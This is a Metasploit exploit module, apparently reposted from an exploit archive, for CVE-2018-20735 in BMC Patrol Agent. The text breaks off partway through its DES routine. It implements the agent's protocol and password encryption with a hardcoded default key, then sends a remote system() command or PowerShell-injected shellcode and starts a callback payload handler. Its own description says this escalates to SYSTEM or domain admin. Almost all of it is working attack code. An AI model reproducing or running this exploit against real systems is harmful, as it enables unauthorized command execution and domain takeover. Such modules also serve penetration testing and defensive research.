BMC Patrol Agent – Privilege Escalation Code Execution Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zlib' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell @deflater = nil @inflater = nil SBOXES = [ 0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0, 0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000, 0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000, 0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0, 0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002, 0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800, 0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000, 0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002, 0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000, 0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002, 0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004, 0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000, 0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004, 0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000, 0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004, 0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004, 0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004, 0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004, 0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004, 0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000, 0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0, 0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000, 0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000, 0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400, 0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0, 0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400, 0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000, 0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001, 0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001, 0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001, 0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001, 0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000, 0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000, 0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002, 0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000, 0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000, 0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002, 0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110, 0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000, 0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000, 0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110, 0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000, 0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000, 0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110, 0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110, 0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000, 0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0, 0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008, 0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000, 0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000, 0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000, 0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110, 0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110, 0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110, 0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000, 0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000, 0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000, 0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008, 0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800, 0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000, 0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800, 0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801, 0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1, 0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800, 0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400, 0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400, 0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000, 0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000, 0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220, 0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220, 0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220, 0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220, 0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220, 0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220, 0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000, 0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220, 0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000, 0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220 ].freeze PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\ "\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\ "\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\ "\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\ "\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\ "\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\ "\x23\x1C\x1F".freeze SBOX_BYTE_ORDER = [ 1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000, 0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000, 0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000 ].freeze ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze DES_ENCRYPT = 0 def initialize(info = {}) super(update_info(info, 'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution', 'Description' => %q( This module leverages the remote command execution feature provided by the BMC Patrol Agent software. It can also be used to escalate privileges on Windows hosts as the software runs as SYSTEM but only verfies that the password of the provided user is correct. This also means if the software is running on a domain controller, it can be used to escalate from a normal domain user to domain admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses powershell to execute the payload. The powershell version tends to timeout on the first run so it may take multiple tries. ), 'License' => MSF_LICENSE, 'Author' => [ 'b0yd' # @rwincey / Vulnerability Discovery and MSF module author ], 'References' => [ ['CVE', '2018-20735'], ['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/'] ], 'Platform' => ['win', 'linux'], 'Targets' => [ [ 'Windows Powershell Injected Shellcode', { 'Platform' => 'win' } ], [ 'Generic Command Callback', { 'Arch' => ARCH_CMD, 'Platform' => %w[linux unix win] } ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DefaultOptions' => { 'DisablePayloadHandler' => true }, 'DisclosureDate' => 'Jan 17 2019')) register_options( [ Opt::RPORT(3181), OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']), OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']), OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.']) ] ) end def cleanup disconnect print_status("Disconnected from BMC Patrol Agent.") @inflater.close @deflater.close super end def get_target_os(srv_info_msg) lines = srv_info_msg.split("\n") fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}" os = nil ver = nil lines[2..-2].each do |i| val = i.split("=") if val.length == 2 if val[0].strip! == "T" os = val[1] elsif val[0].strip! == "VER" ver = val[1] end end end [os, ver] end def get_cmd_output(cmd_output_msg) lines = cmd_output_msg.split("\n") fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}" # Parse out command results idx_start = cmd_output_msg.index("Result\x00") idx_end = cmd_output_msg.index("RemPsl_user") output = cmd_output_msg[idx_start + 7..idx_end - 1] output end def exploit # Manually start the handler if not running a single command if datastore['CMD'].nil? || datastore['CMD'].empty? # Set to nil if the cmd is empty for checks further down datastore['CMD'] = nil datastore['DisablePayloadHandler'] = false # Configure the payload handler payload_instance.exploit_config = { 'active_timeout' => 300 } # Setup the payload handler payload_instance.setup_handler # Start the payload handler payload_instance.start_handler end # Initialize zlib objects @deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY) @inflater = Zlib::Inflate.new # Connect to the BMC Patrol Agent connect print_status("Connected to BMC Patrol Agent.") # Create session msg create_session ret_data = receive_msg fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil? # Authenticate authenticate_user(datastore['USER'], datastore['PASSWORD']) # Receive the authentication response ret_data = receive_msg fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil? ret_msg = process_response(ret_data) if ret_msg =~ /logged in/ print_status("Successfully authenticated user.") else fail_with(Failure::UnexpectedReply, "Login failed. Aborting.") end # Receive the server info ret_data = receive_msg fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil? srv_info = process_response(ret_data) # Get the target's OS from their info msg target_os = get_target_os(srv_info) # When using autotargeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil? fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end target_name = target.name if !datastore['CMD'].nil? command = datastore['CMD'].tr('"', '\"') print_status("Command to execute: #{command}") elsif target_name == 'Windows Powershell Injected Shellcode' # Get encoded powershell of payload command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection') else command = payload.raw.tr('"', '\"') end # Run command run_cmd(command) # Receive command confirmation ret_data = receive_msg if !ret_data.nil? process_response(ret_data) end # Receive command output ret_data = receive_msg if !ret_data.nil? && !datastore['CMD'].nil? cmd_result_data = process_response(ret_data) cmd_result = get_cmd_output(cmd_result_data) print_status("Output:\n#{cmd_result}") end # Handle the shell handler end def receive_msg header = sock.get_once(6) if header.nil? return end payload_size_arr = header[0, 4] payload_size = payload_size_arr.unpack1("N") payload = '' if payload_size > 0 payload = sock.get_once(payload_size) if payload.nil? return end end return header + payload end def send_msg(type, compression, data) data_len = data.length buf = [data_len].pack('N') # Set the type buf += [type].pack('C') # Set compression flag buf += [compression].pack('C') # Add data buf += data # Send msg sock.put(buf) end def process_response(ret_data) # While style checks complain, I intend to leave this parsing # in place for debugging purposes ret_size_arr = ret_data[0, 4] ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment comp_flag = ret_data[5, 1] payload_data = ret_data[6..-1] if comp_flag == "\x00" bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment payload_data = @inflater.inflate(payload_data) end return payload_data end def run_cmd(cmd) user_num = rand 1000..9999 msg_1 = %(R_E { \tRE_ID=1 \tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num} \tRE_ORG=PemApi \tRE_SEV=1 \tRE_NSEV=5 \tRE_ST= } ) msg_1 += "\x00" # Compress the message comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH send_msg(0x44, 0x0, comp_data) end def identify(user) inner_len = 15 msg_type = 8 len_str = [inner_len].pack("N") msg_str = [msg_type].pack("N") msg_1 = %(PEM_MSG { \tNSDL=#{inner_len} \tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00 } ) msg_1 += "\x00" print_status("Msg: #{msg_1}") bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment # Compress the message comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH send_msg(0x44, 0x0, comp_data) end def create_session sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00" sess_msg += "\x00" * 0x68 send_msg(0x45, 0x2, sess_msg) end def authenticate_user(user, password) # Default encryption key enc_key = 'k$C4}@"_' output_data = des_crypt_func(password, enc_key, DES_ENCRYPT) # Convert to hex string encrpted_pw = output_data.unpack1("H*") des_pw = encrpted_pw.upcase msg_1 = %(ID { \tHOST=user \tUSER=#{user} \tPASS=#{des_pw} \tVER=V9.6.00 \tT=PEMAPI \tHTBT=1 \tTMOT=1728000 \tRTRS=3 } ) msg_1 += "\x00" comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH send_msg(0x44, 0x0, comp_data) end def rotate_block_init(input_block_tuple) v6 = 0 v5 = 0 input_block_tuple = input_block_tuple.pack("V*").unpack("i*") v3 = input_block_tuple[0] v4 = input_block_tuple[1] if (v4 & 0x2000000) != 0 v5 = 1 end if (v4 & 0x20000) != 0 v5 |= 2 end if (v4 & 0x200) != 0 v5 |= 4 end if (v4 & 2) != 0 v5 |= 8 end if (v3 & 0x2000000) != 0 v5 |= 0x10 end if (v3 & 0x20000) != 0 v5 |= 0x20 end if (v3 & 0x200) != 0 v5 |= 0x40 end if (v3 & 2) != 0 v5 |= 0x80 end if (v4 & 0x8000000) != 0 v5 |= 0x100 end if (v4 & 0x80000) != 0 v5 |= 0x200 end if (v4 & 0x800) != 0 v5 |= 0x400 end if (v4 & 8) != 0 v5 |= 0x800 end if (v3 & 0x8000000) != 0 v5 |= 0x1000 end if (v3 & 0x80000) != 0 v5 |= 0x2000 end if (v3 & 0x800) != 0 v5 |= 0x4000 end if (v3 & 8) != 0 v5 |= 0x8000 end if (v4 & 0x20000000) != 0 v5 |= 0x10000 end if (v4 & 0x200000) != 0 v5 |= 0x20000 end if (v4 & 0x2000) != 0 v5 |= 0x40000 end if (v4 & 0x20) != 0 v5 |= 0x80000 end if (v3 & 0x20000000) != 0 v5 |= 0x100000 end if (v3 & 0x200000) != 0 v5 |= 0x200000 end if (v3 & 0x2000) != 0 v5 |= 0x400000 end if (v3 & 0x20) != 0 v5 |= 0x800000 end if (v4 < 0) v5 |= 0x1000000 end if (v4 & 0x800000) != 0 v5 |= 0x2000000 end if (v4 & 0x8000) != 0 v5 |= 0x4000000 end if (v4 & 0x80) != 0 v5 |= 0x8000000 end if (v3 < 0) v5 |= 0x10000000 end if (v3 & 0x800000) != 0 v5 |= 0x20000000 end if (v3 & 0x8000) != 0 v5 |= 0x40000000 end if (v3 & 0x80) != 0 v5 |= 0x80000000 end if (v4 & 0x1000000) != 0 v6 = 1 end if (v4 & 0x10000) != 0 v6 |= 2 end if (v4 & 0x100) != 0 v6 |= 4 end if (v4 & 1) != 0 v6 |= 8 end if (v3 & 0x1000000) != 0 v6 |= 0x10 end if (v3 & 0x10000) != 0 v6 |= 0x20 end if (v3 & 0x100) != 0 v6 |= 0x40 end if (v3 & 1) != 0 v6 |= 0x80 end if (v4 & 0x4000000) != 0 v6 |= 0x100 end if (v4 & 0x40000) != 0 v6 |= 0x200 end if (v4 & 0x400) != 0 v6 |= 0x400 end if (v4 & 4) != 0 v6 |= 0x800 end if (v3 & 0x4000000) != 0 v6 |= 0x1000 end if (v3 & 0x40000) != 0 v6 |= 0x2000 end if (v3 & 0x400) != 0 v6 |= 0x4000 end if (v3 & 4) != 0 v6 |= 0x8000 end if (v4 & 0x10000000) != 0 v6 |= 0x10000 end if (v4 & 0x100000) != 0 v6 |= 0x20000 end if (v4 & 0x1000) != 0 v6 |= 0x40000 end if (v4 & 0x10) != 0 v6 |= 0x80000 end if (v3 & 0x10000000) != 0 v6 |= 0x100000 end if (v3 & 0x100000) != 0 v6 |= 0x200000 end if (v3 & 0x1000) != 0 v6 |= 0x400000 end if (v3 & 0x10) != 0 v6 |= 0x800000 end if (v4 & 0x40000000) != 0 v6 |= 0x1000000 end if (v4 & 0x400000) != 0 v6 |= 0x2000000 end if (v4 & 0x4000) != 0 v6 |= 0x4000000 end if (v4 & 0x40) != 0 v6 |= 0x8000000 end if (v3 & 0x40000000) != 0 v6 |= 0x10000000 end if (v3 & 0x400000) != 0 v6 |= 0x20000000 end if (v3 & 0x4000) != 0 v6 |= 0x40000000 end if (v3 & 0x40) != 0 v6 |= 0x80000000 end # Create return tuple ret_block = Array.new ret_block.push v5 ret_block.push v6 ret_block end def rotate_block_final(input_block_tuple) v6 = 0 v5 = 0 input_block_tuple = input_block_tuple.pack("V*").unpack("i*") v3 = input_block_tuple[0] v4 = input_block_tuple[1] if (v4 & 0x80) != 0 v5 = 1 end if (v3 & 0x80) != 0 v5 |= 2 end if (v4 & 0x8000) != 0 v5 |= 4 end if (v3 & 0x8000) != 0 v5 |= 8 end if (v4 & 0x800000) != 0 v5 |= 0x10 end if (v3 & 0x800000) != 0 v5 |= 0x20 end if (v4 < 0) v5 |= 0x40 end if (v3 < 0) v5 |= 0x80 end if (v4 & 0x40) != 0 v5 |= 0x100 end if (v3 & 0x40) != 0 v5 |= 0x200 end if (v4 & 0x4000) != 0 v5 |= 0x400 end if (v3 & 0x4000) != 0 v5 |= 0x800 end if (v4 & 0x400000) != 0 v5 |= 0x1000 end if (v3 & 0x400000) != 0 v5 |= 0x2000 end if (v4 & 0x40000000) != 0 v5 |= 0x4000 end if (v3 & 0x40000000) != 0 v5 |= 0x8000 end if (v4 & 0x20) != 0 v5 |= 0x10000 end if (v3 & 0x20) != 0 v5 |= 0x20000 end if (v4 & 0x2000) != 0 v5 |= 0x40000 end if (v3 & 0x2000) != 0 v5 |= 0x80000 end if (v4 & 0x200000) != 0 v5 |= 0x100000 end if (v3 & 0x200000) != 0 v5 |= 0x200000 end if (v4 & 0x20000000) != 0 v5 |= 0x400000 end if (v3 & 0x20000000) != 0 v5 |= 0x800000 end if (v4 & 0x10) != 0 v5 |= 0x1000000 end if (v3 & 0x10) != 0 v5 |= 0x2000000 end if (v4 & 0x1000) != 0 v5 |= 0x4000000 end if (v3 & 0x1000) != 0 v5 |= 0x8000000 end if (v4 & 0x100000) != 0 v5 |= 0x10000000 end if (v3 & 0x100000) != 0 v5 |= 0x20000000 end if (v4 & 0x10000000) != 0 v5 |= 0x40000000 end if (v3 & 0x10000000) != 0 v5 |= 0x80000000 end if (v4 & 8) != 0 v6 = 1 end if (v3 & 8) != 0 v6 |= 2 end if (v4 & 0x800) != 0 v6 |= 4 end if (v3 & 0x800) != 0 v6 |= 8 end if (v4 & 0x80000) != 0 v6 |= 0x10 end if (v3 & 0x80000) != 0 v6 |= 0x20 end if (v4 & 0x8000000) != 0 v6 |= 0x40 end if (v3 & 0x8000000) != 0 v6 |= 0x80 end if (v4 & 4) != 0 v6 |= 0x100 end if (v3 & 4) != 0 v6 |= 0x200 end if (v4 & 0x400) != 0 v6 |= 0x400 end if (v3 & 0x400) != 0 v6 |= 0x800 end if (v4 & 0x40000) != 0 v6 |= 0x1000 end if (v3 & 0x40000) != 0 v6 |= 0x2000 end if (v4 & 0x4000000) != 0 v6 |= 0x4000 end if (v3 & 0x4000000) != 0 v6 |= 0x8000 end if (v4 & 2) != 0 v6 |= 0x10000 end if (v3 & 2) != 0 v6 |= 0x20000 end if (v4 & 0x200) != 0 v6 |= 0x40000 end if (v3 & 0x200) != 0 v6 |= 0x80000 end if (v4 & 0x20000) != 0 v6 |= 0x100000 end if (v3 & 0x20000) != 0 v6 |= 0x200000 end if (v4 & 0x2000000) != 0 v6 |= 0x400000 end if (v3 & 0x2000000) != 0 v6 |= 0x800000 end if (v4 & 1) != 0 v6 |= 0x1000000 end if (v3 & 1) != 0 v6 |= 0x2000000 end if (v4 & 0x100) != 0 v6 |= 0x4000000 end if (v3 & 0x100) != 0 v6 |= 0x8000000 end if (v4 & 0x10000) != 0 v6 |= 0x10000000 end if (v3 & 0x10000) != 0 v6 |= 0x20000000 end if (v4 & 0x1000000) != 0 v6 |= 0x40000000 end if (v3 & 0x1000000) != 0 v6 |= 0x80000000 end # Create return tuple ret_block = Array.new ret_block.push v5 ret_block.push v6 ret_block end def load(a1) a2 = Array.new(8, 0) v3 = a1 a2[0] = a1 & 0xff v3 >>= 3 a2[1] = v3 & 0xff v3 >>= 4 a2[2] = v3 & 0xff v3 >>= 4 a2[3] = v3 & 0xff v3 >>= 4 a2[4] = v3 & 0xff v3 >>= 4 a2[5] = v3 & 0xff v3 >>= 4 a2[6] = v3 & 0xff v3 >>= 4 a2[7] = v3 & 0xff a2[0] = (a2[0] * 2) & 0xff a2[7] |= (16 * a2[0]) & 0xff v3 >>= 4 a2[0] |= v3 & 0xff data_block = a2.pack("c*").unpack("V*") data_block[0] &= 0x3F3F3F3F data_block[1] &= 0x3F3F3F3F data_block end def desx(data_block, ksch, idx) ksch = ksch.pack("V*") ksch = ksch.unpack("Q<*") key_block = ksch[idx] data_block_ptr = data_block.pack("V*") data_block_ptr = data_block_ptr.unpack1("Q<*") data_block_ptr ^= key_block counter = 1 data_block_byte_ptr = [data_block_ptr].pack('Q<') left = SBOXES[data_block_byte_ptr[0].ord] right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)] counter += 1 right ^= 